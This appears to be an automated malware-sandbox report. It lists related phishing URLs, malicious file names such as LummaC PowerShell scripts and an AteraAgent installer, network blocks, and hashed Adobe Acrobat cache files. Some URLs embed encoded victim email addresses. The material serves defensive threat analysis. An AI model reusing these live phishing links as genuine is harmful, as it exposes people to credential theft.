5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	43.153.232.152
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	43.153.232.151
	https://p3rsa.appdocumentcenter.com/BpdLO	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	https://meliopayments.cloudfilesbureau.com/j319C	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	https://clicktoviewdocumentonadovemacroreader.federalcourtbiz.com/lhvBR/?e=amFtZXMuYm9zd2VsbEBvdmVybGFrZWhvc3BpdGFsLm9yZw==	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956235d3ed2bb80da1204238e412cdfe561cf1e7cff409a79a97da8a2d431ccef9065ebae57f03416d61f0971abb897fde199a21f0da5d9085251df31eb6747d99920190103a51a045e3e309308fa5f3a1ca3&action_type=SIGN	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
	01012025.html	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
maxcdn.bootstrapcdn.com	http://pomservicing.co.uk/pomservicing/Smtb/dGVzdF9tYWlsQGVtYWlsLmpw==%C3%A3%E2%82%AC%E2%80%9A$$%C3%A3%E2%82%AC%E2%80%9A/1/010001943914714a-a13d10fa-2f31-4a50-b2fa-f3854398d733-000000/CAe7zeJgIBBw_nSVrUkbbcG65_c=407	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Ecastillo-In Service Agreement.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fmessagupdates.courtfilepro.com%2FVTtMa	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://1143b54.wcomhost.com/	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://bu9.fysou.web.id/webs6/cx.aktifkn.fiturr	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://bu9.fysou.web.id/webs6/aktrfn.fitur.pylter	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://gthlcanada.com	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://docusign.legalcloudfiles.com/S06ga?e=clopez@autopistacentral.cl	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Scan.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNIFIEDLAYER-AS-1US	Document_31055.pdf	Get hash	malicious	Unknown	Browse	108.167.132.254
	http://pomservicing.co.uk/pomservicing/Smtb/dGVzdF9tYWlsQGVtYWlsLmpw==%C3%A3%E2%82%AC%E2%80%9A$$%C3%A3%E2%82%AC%E2%80%9A/1/010001943914714a-a13d10fa-2f31-4a50-b2fa-f3854398d733-000000/CAe7zeJgIBBw_nSVrUkbbcG65_c=407	Get hash	malicious	HTMLPhisher	Browse	69.49.230.198
	Ecastillo-In Service Agreement.pdf	Get hash	malicious	HTMLPhisher	Browse	69.49.230.198
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm	Get hash	malicious	HTMLPhisher	Browse	69.49.230.198
	https://umanocosmetic.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPVpHcG5ZM0U9JnVpZD1VU0VSMDkwMTIwMjVVNTgwMTA5NTY=N0123N%5BEMAIL%5D	Get hash	malicious	Unknown	Browse	192.185.221.152
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fmessagupdates.courtfilepro.com%2FVTtMa	Get hash	malicious	HTMLPhisher	Browse	69.49.230.198
	http://bebizicon.com/Campususa/index.xml#?email=b2xpdmllci5kb3phdEBpbm5vY2FwLmNvbQ==	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	108.167.132.194
	http://kfz.ear.mybluehost.me/Account/netflix/login/	Get hash	malicious	HTMLPhisher	Browse	50.87.184.100
	https://www.google.com/amp/url.rw/6r6ns	Get hash	malicious	Unknown	Browse	108.179.252.84
	https://docusign.legalcloudfiles.com/S06ga?e=clopez@autopistacentral.cl	Get hash	malicious	HTMLPhisher	Browse	162.241.149.91
CLOUDFLARENETUS	XML-702.msi	Get hash	malicious	AteraAgent	Browse	104.18.18.106
	Default3.aspx	Get hash	malicious	Unknown	Browse	104.21.83.41
	EFT_Payment_Notification_Gheenirrigation.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Document_31055.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://drive.google.com/file/d/1TF-huc4s6nOnHpT977ywO8Fj-NERebnm/view?usp=sharing_eip&ts=6786926e	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=iov1_LdPHvUx2ChSLIucZWqsBXy1GpnpLdHBEmuzLivt4j5stH_55g==&ch=I1Y8e9rJ4WxwWWgomI7efPIFsqm6CDFWFpV-o6w0qPgtUQs3xBpKiA==	Get hash	malicious	Unknown	Browse	104.21.30.190
	MissedCall_Record_3295935663.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	62.122.184.98 (3).ps1	Get hash	malicious	LummaC	Browse	188.114.97.3
	87.247.158.212.ps1	Get hash	malicious	LummaC	Browse	104.21.80.1
CLOUDFLARENETUS	XML-702.msi	Get hash	malicious	AteraAgent	Browse	104.18.18.106
	Default3.aspx	Get hash	malicious	Unknown	Browse	104.21.83.41
	EFT_Payment_Notification_Gheenirrigation.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Document_31055.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://drive.google.com/file/d/1TF-huc4s6nOnHpT977ywO8Fj-NERebnm/view?usp=sharing_eip&ts=6786926e	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=iov1_LdPHvUx2ChSLIucZWqsBXy1GpnpLdHBEmuzLivt4j5stH_55g==&ch=I1Y8e9rJ4WxwWWgomI7efPIFsqm6CDFWFpV-o6w0qPgtUQs3xBpKiA==	Get hash	malicious	Unknown	Browse	104.21.30.190
	MissedCall_Record_3295935663.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	62.122.184.98 (3).ps1	Get hash	malicious	LummaC	Browse	188.114.97.3
	87.247.158.212.ps1	Get hash	malicious	LummaC	Browse	104.21.80.1
CLOUDFLARENETUS	XML-702.msi	Get hash	malicious	AteraAgent	Browse	104.18.18.106
	Default3.aspx	Get hash	malicious	Unknown	Browse	104.21.83.41
	EFT_Payment_Notification_Gheenirrigation.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Document_31055.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://drive.google.com/file/d/1TF-huc4s6nOnHpT977ywO8Fj-NERebnm/view?usp=sharing_eip&ts=6786926e	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=iov1_LdPHvUx2ChSLIucZWqsBXy1GpnpLdHBEmuzLivt4j5stH_55g==&ch=I1Y8e9rJ4WxwWWgomI7efPIFsqm6CDFWFpV-o6w0qPgtUQs3xBpKiA==	Get hash	malicious	Unknown	Browse	104.21.30.190
	MissedCall_Record_3295935663.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	62.122.184.98 (3).ps1	Get hash	malicious	LummaC	Browse	188.114.97.3
	87.247.158.212.ps1	Get hash	malicious	LummaC	Browse	104.21.80.1

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.173702236474884
Encrypted:	false
SSDEEP:	6:iO8FKwB+q2Pwkn2nKuAl9OmbnIFUtWFKJGAWZmwoFKJG3VkwOwkn2nKuAl9Ombjd:7J2+vYfHAahFUt3JGAW/FJG3V5JfHAae
MD5:	6200D5D03C5054FDCE552CB1FF34B262
SHA1:	7704B9D97820027AD197994D913D4B221D22645C
SHA-256:	C2CA1B065B19DFA3C35BBD84634AFC73B95C86E661F9B2D3D5FB0DC0DABC2655
SHA-512:	DC35ABDBF10D9A416F2FAD3FD66E745D5485CB70ED49DA57ABB5EE541FEA6006F8E27C85F07403FA91F7059DD175D808221F6FBD0AA6C954405B35A3D0977430
Malicious:	false
Reputation:	low
Preview:	2025/01/14-14:01:48.224 1dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-14:01:48.226 1dcc Recovering log #3.2025/01/14-14:01:48.226 1dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.173702236474884
Encrypted:	false
SSDEEP:	6:iO8FKwB+q2Pwkn2nKuAl9OmbnIFUtWFKJGAWZmwoFKJG3VkwOwkn2nKuAl9Ombjd:7J2+vYfHAahFUt3JGAW/FJG3V5JfHAae
MD5:	6200D5D03C5054FDCE552CB1FF34B262
SHA1:	7704B9D97820027AD197994D913D4B221D22645C
SHA-256:	C2CA1B065B19DFA3C35BBD84634AFC73B95C86E661F9B2D3D5FB0DC0DABC2655
SHA-512:	DC35ABDBF10D9A416F2FAD3FD66E745D5485CB70ED49DA57ABB5EE541FEA6006F8E27C85F07403FA91F7059DD175D808221F6FBD0AA6C954405B35A3D0977430
Malicious:	false
Reputation:	low
Preview:	2025/01/14-14:01:48.224 1dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-14:01:48.226 1dcc Recovering log #3.2025/01/14-14:01:48.226 1dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.151921106329951
Encrypted:	false
SSDEEP:	6:iO8FKShN+q2Pwkn2nKuAl9Ombzo2jMGIFUtWFKeGZmwoFKgitVkwOwkn2nKuAl97:7JShIvYfHAa8uFUt3v/FgC5JfHAa8RJ
MD5:	C0088290EEF6AB166FFC471F823CCC8E
SHA1:	F65F713C0337C05EA9B6D0F5F162C3D3E94455D6
SHA-256:	D9269298F38502A397FE2ECAC0A08D3439A5E6E89325036B24CE526A1CFD99B9
SHA-512:	5F54CC53430C2817562EBCC07B1F91228CFA1C93819FC2BD9540C9C23AC38338B36E946C8E6BD4977ABAE890F6D7F95D88186B0B3A5A16FA5C321D0EF715DF4A
Malicious:	false
Reputation:	low
Preview:	2025/01/14-14:01:48.288 1e18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-14:01:48.289 1e18 Recovering log #3.2025/01/14-14:01:48.290 1e18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.151921106329951
Encrypted:	false
SSDEEP:	6:iO8FKShN+q2Pwkn2nKuAl9Ombzo2jMGIFUtWFKeGZmwoFKgitVkwOwkn2nKuAl97:7JShIvYfHAa8uFUt3v/FgC5JfHAa8RJ
MD5:	C0088290EEF6AB166FFC471F823CCC8E
SHA1:	F65F713C0337C05EA9B6D0F5F162C3D3E94455D6
SHA-256:	D9269298F38502A397FE2ECAC0A08D3439A5E6E89325036B24CE526A1CFD99B9
SHA-512:	5F54CC53430C2817562EBCC07B1F91228CFA1C93819FC2BD9540C9C23AC38338B36E946C8E6BD4977ABAE890F6D7F95D88186B0B3A5A16FA5C321D0EF715DF4A
Malicious:	false
Reputation:	low
Preview:	2025/01/14-14:01:48.288 1e18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-14:01:48.289 1e18 Recovering log #3.2025/01/14-14:01:48.290 1e18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.95632780540434
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBFz6hsBdOg2HScaq3QYiubInP7E4T3y:Y2sRds4dMH93QYhbG7nby
MD5:	54339E54DFB4AE034D8A290540BB3518
SHA1:	7A1DE6AE5FC54A055E4B78813368598FFE9F88EA
SHA-256:	FC58AD4664C930A97296533F4D16F4EF99B37B920C67FE71F17458470668FF8E
SHA-512:	6D64E82A723EF1AB5CA5F7A31BF80E02144094D37AC6F9330C046A30AC0099F63F52AA078E84BF7A9CAF78C18AA502D27DEB05A21BC78CB35C7E444C902C43B6
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381441320819404","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148979},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d9ed9501-4570-4e54-82dd-5829e1257dd4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.95632780540434
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBFz6hsBdOg2HScaq3QYiubInP7E4T3y:Y2sRds4dMH93QYhbG7nby
MD5:	54339E54DFB4AE034D8A290540BB3518
SHA1:	7A1DE6AE5FC54A055E4B78813368598FFE9F88EA
SHA-256:	FC58AD4664C930A97296533F4D16F4EF99B37B920C67FE71F17458470668FF8E
SHA-512:	6D64E82A723EF1AB5CA5F7A31BF80E02144094D37AC6F9330C046A30AC0099F63F52AA078E84BF7A9CAF78C18AA502D27DEB05A21BC78CB35C7E444C902C43B6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381441320819404","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148979},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	5.256554829418734
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7okE9Z:etJCV4FiN/jTN/2r8Mta02fEhgO73gom
MD5:	568E740325910B0F4DE63F9EC16F1F6A
SHA1:	ED792CB920EB6B0B859596C08CA4BF03AD6857B6
SHA-256:	83B4F9C0FA052B845EEBD0F77D66274FB2985C8B6DA09429A7765D6A15FAE36B
SHA-512:	FDA1EFDD14192CF342D575A70AA99A4FF3DC386CB0D25EF4DABD5D8D02A8A791A68D9CDFA6EDB5451C900AA025B7CD820788C5D1BD3940D4D26BF6480BB89661
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.176509626297182
Encrypted:	false
SSDEEP:	6:iO8FKZFqt+q2Pwkn2nKuAl9OmbzNMxIFUtWFK7dXZmwoFK7d3VkwOwkn2nKuAl9c:7JZsovYfHAa8jFUt37dX/F7dF5JfHAab
MD5:	05094518584A4DE373647BBF497CFBC8
SHA1:	F0A3B6C871E0EEE5A4ECD3F750A4EBC4264DCDC4
SHA-256:	F40AEC053F79FEFF39611F1B7265F6108CA578198DCF4FBF51EC359C9AB829F3
SHA-512:	313F9E1D98D3DACECF8473069D040424067DB629FA3C876A36DB8CF34B14C5808BBB1E3F2CA01662D7DFDD745B241B659BBB65790CC6D4D9203C7638053C1830
Malicious:	false
Preview:	2025/01/14-14:01:48.394 1e18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-14:01:48.395 1e18 Recovering log #3.2025/01/14-14:01:48.395 1e18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.176509626297182
Encrypted:	false
SSDEEP:	6:iO8FKZFqt+q2Pwkn2nKuAl9OmbzNMxIFUtWFK7dXZmwoFK7d3VkwOwkn2nKuAl9c:7JZsovYfHAa8jFUt37dX/F7dF5JfHAab
MD5:	05094518584A4DE373647BBF497CFBC8
SHA1:	F0A3B6C871E0EEE5A4ECD3F750A4EBC4264DCDC4
SHA-256:	F40AEC053F79FEFF39611F1B7265F6108CA578198DCF4FBF51EC359C9AB829F3
SHA-512:	313F9E1D98D3DACECF8473069D040424067DB629FA3C876A36DB8CF34B14C5808BBB1E3F2CA01662D7DFDD745B241B659BBB65790CC6D4D9203C7638053C1830
Malicious:	false
Preview:	2025/01/14-14:01:48.394 1e18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-14:01:48.395 1e18 Recovering log #3.2025/01/14-14:01:48.395 1e18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250114190152Z-156.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 164 x -74 x 32, cbSize 48598, bits offset 54
Category:	dropped
Size (bytes):	48598
Entropy (8bit):	2.834196812874901
Encrypted:	false
SSDEEP:	192:SC1qpda4xERPnDqCqCXt9Nb6DbiwjA/////////////////////////////////8:SC1qbkR9lqiwf
MD5:	4E476B47E46300E10EB3880AC2DE1812
SHA1:	8D302060AAC051775F5CA4C42150A48B1C7BE385
